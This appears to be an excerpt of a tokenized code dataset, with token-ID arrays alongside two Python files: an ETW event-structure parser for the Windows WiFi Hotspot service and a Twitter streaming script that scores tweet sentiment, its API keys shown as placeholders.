3694,
29918,
16506,
29901,
13,
1678,
565,
1353,
1273,
29871,
29906,
1275,
29871,
29900,
29901,
13,
4706,
1584,
29918,
20326,
29889,
4397,
29898,
4537,
29897,
13,
1678,
1683,
29901,
13,
4706,
7736,
29918,
20326,
29889,
4397,
29898,
4537,
29897,
13,
13,
361,
1899,
1275,
525,
29949,
1289,
2396,
13,
1678,
1596,
29898,
2083,
29898,
22861,
29918,
20326,
29897,
334,
7431,
29898,
20326,
29918,
16506,
876,
13,
23681,
1899,
1275,
525,
29923,
854,
2396,
13,
1678,
1596,
29898,
2083,
29898,
11884,
29918,
20326,
29897,
334,
7431,
29898,
20326,
29918,
16506,
876,
13,
2
] |
etl/parsers/etw/Microsoft_Windows_WiFiHotspotService.py | IMULMUL/etl-parser | 104 | 83706 | <reponame>IMULMUL/etl-parser<gh_stars>100-1000
# -*- coding: utf-8 -*-
"""
Microsoft-Windows-WiFiHotspotService
GUID : 814182fe-58f7-11e1-853c-78e7d1ca7337
"""
from construct import Int8sl, Int8ul, Int16ul, Int16sl, Int32sl, Int32ul, Int64sl, Int64ul, Bytes, Double, Float32l, Struct
from etl.utils import WString, CString, SystemTime, Guid
from etl.dtyp import Sid
from etl.parsers.etw.core import Etw, declare, guid
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1003, version=0)
class Microsoft_Windows_WiFiHotspotService_1003_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1004, version=0)
class Microsoft_Windows_WiFiHotspotService_1004_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1005, version=0)
class Microsoft_Windows_WiFiHotspotService_1005_0(Etw):
pattern = Struct(
"Ptr1" / Int64ul,
"Ptr2" / Int64ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1006, version=0)
class Microsoft_Windows_WiFiHotspotService_1006_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1007, version=0)
class Microsoft_Windows_WiFiHotspotService_1007_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1008, version=0)
class Microsoft_Windows_WiFiHotspotService_1008_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1009, version=0)
class Microsoft_Windows_WiFiHotspotService_1009_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1010, version=0)
class Microsoft_Windows_WiFiHotspotService_1010_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1011, version=0)
class Microsoft_Windows_WiFiHotspotService_1011_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=1012, version=0)
class Microsoft_Windows_WiFiHotspotService_1012_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=2000, version=0)
class Microsoft_Windows_WiFiHotspotService_2000_0(Etw):
pattern = Struct(
"uString1" / WString,
"uString2" / WString,
"Dword1" / Int32ul,
"Dword2" / Int32ul,
"Dword3" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=3000, version=0)
class Microsoft_Windows_WiFiHotspotService_3000_0(Etw):
pattern = Struct(
"Dword1" / Int32ul,
"Dword2" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=3001, version=0)
class Microsoft_Windows_WiFiHotspotService_3001_0(Etw):
pattern = Struct(
"Ptr" / Int64ul,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=3002, version=0)
class Microsoft_Windows_WiFiHotspotService_3002_0(Etw):
pattern = Struct(
"Ptr" / Int64ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=3003, version=0)
class Microsoft_Windows_WiFiHotspotService_3003_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=3004, version=0)
class Microsoft_Windows_WiFiHotspotService_3004_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=4000, version=0)
class Microsoft_Windows_WiFiHotspotService_4000_0(Etw):
pattern = Struct(
"aString" / CString
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=4001, version=0)
class Microsoft_Windows_WiFiHotspotService_4001_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=4002, version=0)
class Microsoft_Windows_WiFiHotspotService_4002_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=4003, version=0)
class Microsoft_Windows_WiFiHotspotService_4003_0(Etw):
pattern = Struct(
"Dword1" / Int32ul,
"Dword2" / Int32ul,
"aString1" / CString,
"Dword3" / Int32ul,
"Dword4" / Int32ul,
"Dword5" / Int32ul,
"uString1" / WString
)
@declare(guid=guid("814182fe-58f7-11e1-853c-78e7d1ca7337"), event_id=4004, version=0)
class Microsoft_Windows_WiFiHotspotService_4004_0(Etw):
pattern = Struct(
"uString" / WString,
"Dword" / Int32ul
)
| [
1,
529,
276,
1112,
420,
29958,
7833,
13309,
29924,
13309,
29914,
300,
29880,
29899,
16680,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29900,
29900,
29899,
29896,
29900,
29900,
29900,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
11277,
29899,
7685,
29899,
29956,
29875,
18800,
28917,
17500,
3170,
13,
29954,
11150,
584,
29871,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
13,
15945,
29908,
13,
3166,
3386,
1053,
3159,
29947,
2536,
29892,
3159,
29947,
352,
29892,
3159,
29896,
29953,
352,
29892,
3159,
29896,
29953,
2536,
29892,
3159,
29941,
29906,
2536,
29892,
3159,
29941,
29906,
352,
29892,
3159,
29953,
29946,
2536,
29892,
3159,
29953,
29946,
352,
29892,
2648,
2167,
29892,
11599,
29892,
27842,
29941,
29906,
29880,
29892,
28771,
13,
3166,
634,
29880,
29889,
13239,
1053,
399,
1231,
29892,
315,
1231,
29892,
2184,
2481,
29892,
2088,
333,
13,
3166,
634,
29880,
29889,
29881,
22449,
1053,
19732,
13,
3166,
634,
29880,
29889,
862,
4253,
29889,
300,
29893,
29889,
3221,
1053,
382,
7516,
29892,
9607,
29892,
16605,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29900,
29941,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29900,
29941,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29900,
29946,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29900,
29946,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29900,
29945,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29900,
29945,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
12058,
29896,
29908,
847,
3159,
29953,
29946,
352,
29892,
13,
4706,
376,
12058,
29906,
29908,
847,
3159,
29953,
29946,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29900,
29953,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29900,
29953,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29900,
29955,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29900,
29955,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29900,
29947,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29900,
29947,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29900,
29929,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29900,
29929,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29896,
29900,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29896,
29900,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29896,
29896,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29896,
29896,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29896,
29900,
29896,
29906,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29896,
29900,
29896,
29906,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29906,
29900,
29900,
29900,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29906,
29900,
29900,
29900,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29896,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29884,
1231,
29906,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29896,
29908,
847,
3159,
29941,
29906,
352,
29892,
13,
4706,
376,
29928,
1742,
29906,
29908,
847,
3159,
29941,
29906,
352,
29892,
13,
4706,
376,
29928,
1742,
29941,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29941,
29900,
29900,
29900,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29941,
29900,
29900,
29900,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29928,
1742,
29896,
29908,
847,
3159,
29941,
29906,
352,
29892,
13,
4706,
376,
29928,
1742,
29906,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29941,
29900,
29900,
29896,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29941,
29900,
29900,
29896,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
12058,
29908,
847,
3159,
29953,
29946,
352,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29941,
29900,
29900,
29906,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29941,
29900,
29900,
29906,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
12058,
29908,
847,
3159,
29953,
29946,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29941,
29900,
29900,
29941,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29941,
29900,
29900,
29941,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29941,
29900,
29900,
29946,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29941,
29900,
29900,
29946,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29946,
29900,
29900,
29900,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29946,
29900,
29900,
29900,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29874,
1231,
29908,
847,
315,
1231,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29946,
29900,
29900,
29896,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29946,
29900,
29900,
29896,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29946,
29900,
29900,
29906,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29946,
29900,
29900,
29906,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29946,
29900,
29900,
29941,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29946,
29900,
29900,
29941,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29928,
1742,
29896,
29908,
847,
3159,
29941,
29906,
352,
29892,
13,
4706,
376,
29928,
1742,
29906,
29908,
847,
3159,
29941,
29906,
352,
29892,
13,
4706,
376,
29874,
1231,
29896,
29908,
847,
315,
1231,
29892,
13,
4706,
376,
29928,
1742,
29941,
29908,
847,
3159,
29941,
29906,
352,
29892,
13,
4706,
376,
29928,
1742,
29946,
29908,
847,
3159,
29941,
29906,
352,
29892,
13,
4706,
376,
29928,
1742,
29945,
29908,
847,
3159,
29941,
29906,
352,
29892,
13,
4706,
376,
29884,
1231,
29896,
29908,
847,
399,
1231,
13,
1678,
1723,
13,
13,
13,
29992,
7099,
8663,
29898,
2543,
333,
29922,
2543,
333,
703,
29947,
29896,
29946,
29896,
29947,
29906,
1725,
29899,
29945,
29947,
29888,
29955,
29899,
29896,
29896,
29872,
29896,
29899,
29947,
29945,
29941,
29883,
29899,
29955,
29947,
29872,
29955,
29881,
29896,
1113,
29955,
29941,
29941,
29955,
4968,
1741,
29918,
333,
29922,
29946,
29900,
29900,
29946,
29892,
1873,
29922,
29900,
29897,
13,
1990,
7783,
29918,
7685,
29918,
29956,
29875,
18800,
28917,
17500,
3170,
29918,
29946,
29900,
29900,
29946,
29918,
29900,
29898,
29923,
7516,
1125,
13,
1678,
4766,
353,
28771,
29898,
13,
4706,
376,
29884,
1231,
29908,
847,
399,
1231,
29892,
13,
4706,
376,
29928,
1742,
29908,
847,
3159,
29941,
29906,
352,
13,
1678,
1723,
13,
13,
2
] |
Twitter file.py | Vishal313-m/Live-Sentiment-analysis | 0 | 57734 | from tweepy import Stream
from tweepy import OAuthHandler
from tweepy.streaming import StreamListener
import time
import json
import sentiment_mod as s
#consumer key, consumer secret, access token, access secret.
ckey="<KEY>"
csecret="<KEY>"
atoken="<KEY>"
asecret="<KEY>"
class listener(StreamListener):
def on_data(self, data):
all_data = json.loads(data)
tweet = all_data["text"]
sentiment_value, confidence = s.sentiment(tweet)
print(tweet,sentiment_value,confidence)
time.sleep(1)
print("NO")
#if confidence*100 >= 80:
output = open("Live Sentiment Analysis/twitter-out.txt","a")
output.write(sentiment_value)
output.write('\n')
output.close()
return True
def on_error(self, status):
print(status)
auth = OAuthHandler(ckey, csecret)
auth.set_access_token(atoken, asecret)
twitterStream = Stream(auth, listener())
twitterStream.filter(track=["happy"]) | [
1,
515,
7780,
1022,
29891,
1053,
13763,
13,
3166,
7780,
1022,
29891,
1053,
438,
6444,
4598,
13,
3166,
7780,
1022,
29891,
29889,
5461,
292,
1053,
13763,
3962,
13,
5215,
931,
13,
5215,
4390,
13,
5215,
19688,
29918,
1545,
408,
269,
13,
13,
29937,
25978,
261,
1820,
29892,
21691,
7035,
29892,
2130,
5993,
29892,
2130,
7035,
29889,
13,
384,
1032,
543,
29966,
10818,
11903,
13,
29883,
19024,
543,
29966,
10818,
11903,
13,
271,
4476,
543,
29966,
10818,
11903,
13,
559,
4838,
543,
29966,
10818,
11903,
13,
13,
1990,
13254,
29898,
3835,
3962,
1125,
13,
13,
1678,
822,
373,
29918,
1272,
29898,
1311,
29892,
848,
1125,
13,
308,
13,
308,
13,
4706,
599,
29918,
1272,
353,
4390,
29889,
18132,
29898,
1272,
29897,
13,
13,
4706,
7780,
300,
353,
599,
29918,
1272,
3366,
726,
3108,
13,
4706,
19688,
29918,
1767,
29892,
16420,
353,
269,
29889,
18616,
2073,
29898,
29873,
16668,
29897,
13,
4706,
1596,
29898,
29873,
16668,
29892,
18616,
2073,
29918,
1767,
29892,
5527,
5084,
29897,
13,
4706,
931,
29889,
17059,
29898,
29896,
29897,
13,
4706,
1596,
703,
6632,
1159,
13,
13,
4706,
396,
361,
16420,
29930,
29896,
29900,
29900,
6736,
29871,
29947,
29900,
29901,
13,
4706,
1962,
353,
1722,
703,
23859,
28048,
2073,
24352,
29914,
24946,
29899,
449,
29889,
3945,
3284,
29874,
1159,
13,
4706,
1962,
29889,
3539,
29898,
18616,
2073,
29918,
1767,
29897,
13,
4706,
1962,
29889,
3539,
28909,
29876,
1495,
13,
4706,
1962,
29889,
5358,
580,
13,
4706,
736,
5852,
13,
308,
13,
13,
1678,
822,
373,
29918,
2704,
29898,
1311,
29892,
4660,
1125,
13,
4706,
1596,
29898,
4882,
29897,
13,
13,
5150,
353,
438,
6444,
4598,
29898,
384,
1032,
29892,
274,
19024,
29897,
13,
5150,
29889,
842,
29918,
5943,
29918,
6979,
29898,
271,
4476,
29892,
263,
19024,
29897,
13,
13,
24946,
3835,
353,
13763,
29898,
5150,
29892,
13254,
3101,
13,
24946,
3835,
29889,
4572,
29898,
11294,
29922,
3366,
29882,
14862,
20068,
2
] |
